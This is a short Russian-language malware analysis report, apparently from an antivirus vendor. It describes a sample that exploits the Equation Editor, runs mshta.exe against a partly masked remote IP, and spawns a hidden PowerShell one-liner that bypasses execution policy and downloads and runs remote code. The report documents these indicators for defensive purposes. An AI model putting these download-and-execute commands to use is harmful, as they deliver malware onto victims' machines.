Техническая информация
Вредоносные функции
Загружает файлы и запускает на исполнение.
Запускает на исполнение (эксплоит)
- '%WINDIR%\syswow64\mshta.exe' http://45.##.139.186:8080/hta &AAAAAAA C
Сетевая активность
TCP
Запросы HTTP GET
- http://45.##.139.186:8080/hta via 45.##.139.186
- http://45.##.139.186:8080/_Incapsula_Resource?SW############################## via 45.##.139.186
- http://45.##.139.186:8080/_Incapsula_Resource?SW############################### via 45.##.139.186
- http://45.##.139.186:8080/_Incapsula_Resource?SW############################# via 45.##.139.186
- http://45.##.139.186:8080/get via 45.##.139.186
Другое
Создает и запускает на исполнение
- '%WINDIR%\syswow64\mshta.exe' http://45.##.139.186:8080/hta &AAAAAAA C' (со скрытым окном)
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -exec bypass -w 1 -c $V=new-object net.webclient;$V.proxy=[<#000#>Net.WebRequest<#000#>]::GetSystemWebProxy();$V.Proxy.Credentials=[<#000#>Net.CredentialCache<#000#>]::DefaultCredentials;IEX($V...' (со скрытым окном)
Запускает на исполнение
- '%CommonProgramFiles%\microsoft shared\equation\eqnedt32.exe' -Embedding
